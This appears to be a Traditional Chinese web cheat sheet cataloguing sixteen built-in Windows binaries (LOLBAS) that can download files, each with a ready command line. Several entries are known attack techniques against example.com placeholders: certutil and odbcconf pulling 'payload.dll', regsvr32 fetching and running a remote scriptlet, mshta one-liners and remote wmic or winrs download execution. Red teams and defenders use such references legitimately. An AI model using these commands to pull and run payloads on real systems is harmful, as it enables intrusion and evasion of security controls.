Skip to main content

LOLBAS 下載工具

1. PowerShell (powershell.exe)

方法: Invoke-WebRequest (或別名 iwr, wget, curl):下載網頁內容或檔案。 (New-Object System.Net.WebClient).DownloadFile():直接使用 .NET Framework 的 WebClient 類下載檔案。 Start-BitsTransfer:使用背景智慧傳輸服務 (BITS) 下載檔案(需要 BitsTransfer 模組,通常預裝或可安裝)。 範例:

# 使用 Invoke-WebRequest
Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "C:\path\to\save\file.exe"
# 使用 WebClient
(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.txt", "C:\path\to\save\file.txt")
# 使用 BITS
Import-Module BitsTransfer; Start-BitsTransfer -Source "http://example.com/largefile.zip" -Destination "C:\path\to\save\largefile.zip"

2. Certutil (certutil.exe)

描述:用於管理憑證服務的命令列工具,但有一個常被濫用的功能。 方法:-urlcache -split -f 選項可以從 URL 下載檔案並儲存到本機快取,然後可以被移動/重新命名。 範例:

certutil.exe -urlcache -split -f "http://example.com/payload.dll" C:\path\to\save\payload.dll

3. Bitsadmin (bitsadmin.exe)

描述:用於建立、下載或上傳 BITS 任務的命令列工具。(注意:在較新的 Windows 版本中,官方建議使用 PowerShell 的 Start-BitsTransfer,但 bitsadmin.exe 仍然存在且可用)。 方法:/transfer/create + /addfile + /resume + /complete。 範例:

bitsadmin.exe /transfer myDownloadJob /download /priority normal "http://example.com/file.exe" "C:\path\to\save\file.exe"

腳本引擎和相關執行檔:

4. Cscript (cscript.exe) / Wscript (wscript.exe)

描述:Windows Script Host (WSH) 的命令列和圖形介面版本,可以執行 VBScript (.vbs) 或 JScript (.js) 腳本。 方法:腳本內部可以使用 COM 物件如下載檔案: MSXML2.XMLHTTPMicrosoft.XMLHTTP WinHttp.WinHttpRequest.5.1 ADODB.Stream (通常與 XMLHTTP 結合使用以儲存二進位檔案) 範例 (VBScript 片段):

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://example.com/file.bin", False
xHttp.Send

With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "C:\path\to\save\file.bin", 2 '//overwrite
End With

執行:cscript //nologo download_script.vbs

5. Mshta (mshta.exe)

描述:執行 HTML Applications (.hta) 檔案。HTA 可以嵌入 VBScript 或 JScript。 方法:與 Cscript/Wscript 類似,在 HTA 檔案的腳本中使用 COM 物件進行下載。也可以直接執行遠端的 JavaScript 或 VBScript。 範例:

mshta.exe vbscript:CreateObject("msxml2.xmlhttp").Open("GET","http://example.com/file.txt",0);Execute("CreateObject(""ADODB.Stream"").Type=1:CreateObject(""ADODB.Stream"").Open:CreateObject(""ADODB.Stream"").Write(CreateObject(""msxml2.xmlhttp"").responseBody):CreateObject(""ADODB.Stream"").SaveToFile ""C:\path\to\save\file.txt"",2:close")
mshta.exe javascript:a=new ActiveXObject("MSXML2.XMLHTTP");a.open("GET","http://example.com/file.txt",false);a.send();s=new ActiveXObject("ADODB.Stream");s.Mode=3;s.Type=1;s.Open();s.Write(a.responseBody);s.SaveToFile("C:\\path\\to\\save\\file.txt",2);

6. Regsvr32 (regsvr32.exe)

描述:用於註冊和取消註冊 OLE 控制項(如 DLL 和 ActiveX 控制項)。 方法:可以利用 /i 選項結合 scrobj.dll (Script Component Runtime) 從遠端 URL 下載並執行一個腳本檔案 (.sct)。雖然主要目的是執行,但執行過程必然涉及下載。 範例:

regsvr32.exe /s /n /u /i:http://example.com/payload.sct scrobj.dll

7. Rundll32 (rundll32.exe)

描述:用於執行 DLL 中的函數。 方法:某些 DLL 函數可以被濫用。例如 url.dll,FileProtocolHandler 可以開啟 URL,雖然通常是交給預設瀏覽器處理下載,但特定情況下可能有不同行為。更隱蔽的是調用如 Wininet.dll 或其他網路相關 DLL 的特定匯出函數(需要知道函數簽名)。dfshim.dll,ShOpenVerbApplication 也可以指向遠端 ClickOnce 應用。 範例 (通常用於開啟 URL,下載由後續處理程序決定):

rundll32.exe url.dll,FileProtocolHandler http://example.com/file.exe
rundll32.exe dfshim.dll,ShOpenVerbApplication http://example.com/app.application

8. Msiexec (msiexec.exe)

描述:Windows Installer 服務的執行檔,用於安裝、修復、移除 MSI/MSP 套件。 方法:可以直接從 HTTP/HTTPS URL 安裝 MSI 套件,這必然包含下載過程。 範例:

msiexec.exe /i "http://example.com/installer.msi" /qn

9. Odbcconf (odbcconf.exe)

描述:用於設定 ODBC 驅動程式和資料來源。 方法:可以執行 .rsp 回應檔案中的指令,或者使用 REGSVR 參數註冊來自網路位置的 DLL,這也隱含了下載。 範例:

odbcconf.exe /S /A {REGSVR "http://example.com/payload.dll"}

10. Copy (copy) / Xcopy (xcopy.exe) / Robocopy (robocopy.exe)

描述:內建的檔案複製命令。 方法:如果目標是 SMB/UNC 路徑 (\\server\share\file),它們可以從網路共享「下載」(複製)檔案到本機。 範例:

copy \\remoteserver\share\file.txt C:\local\path\
xcopy \\remoteserver\share\*.* C:\local\path\ /S /I
robocopy \\remoteserver\share C:\local\path file.txt

11. Net (net.exe)

描述:用於管理各種網路資源。 方法:net use 命令可以將遠端 SMB 共享對應到本機磁碟機代號,之後就可以使用 copy/xcopy/robocopy 等命令進行檔案傳輸(下載)。 範例:

net use Z: \\remoteserver\share password /user:username
copy Z:\file.txt C:\local\path\
net use Z: /delete

12. Ftp (ftp.exe)

描述:傳統的命令列 FTP 用戶端。 方法:如果目標伺服器支援 FTP,可以使用 ftp.exe 透過指令碼或互動方式下載檔案。 範例 (腳本 download.ftp):

open ftp.example.com
username
password
binary
get remote_file.zip C:\local\path\local_file.zip
quit

執行: ftp -s:download.ftp

13. Tftp (tftp.exe) (非預設安裝)

描述:簡易檔案傳輸協定用戶端。通常需要手動啟用 Windows 功能。 方法:用於從 TFTP 伺服器下載檔案,協定簡單但缺乏安全性。 範例:

tftp -i tftp.example.com GET remote_file.dat C:\local\path\local_file.dat

14. Desktopimgdownldr (Desktopimgdownldr.exe) (較新 Windows 版本)

描述:位於 System32\oobe,用於下載 Windows Spotlight 等桌面背景圖片。 方法:已被發現可以指定任意 URL 下載檔案。 範例 (語法可能因版本而異):

desktopimgdownldr.exe /lockscreenurl:http://example.com/file.jpg /eventName:somestring

(檔案通常下載到特定快取位置,需要找到它)

15. Winrs (winrs.exe)

描述:Windows Remote Shell 客戶端,用於透過 WinRM 執行遠端主機上的命令。 方法:可以在遠端主機上執行上述任何下載命令,將檔案下載到遠端主機。如果需要將檔案傳回本機,通常需要結合其他方法(如 SMB 共享)。 範例:

winrs -r:http://RemoteServer:5985 "powershell -c \"(New-Object System.Net.WebClient).DownloadFile('http://example.com/file.exe', 'C:\temp\file.exe')\""

16. Wmic (wmic.exe)

描述:Windows Management Instrumentation Command-line。 方法:可以遠端執行程序 (process call create),間接觸發下載。也可以與 BITS 的 WMI 提供者互動(較複雜)。 範例 (遠端執行下載命令):

wmic /node:RemoteServer process call create "cmd /c certutil.exe -urlcache -f http://example.com/file.exe C:\temp\file.exe"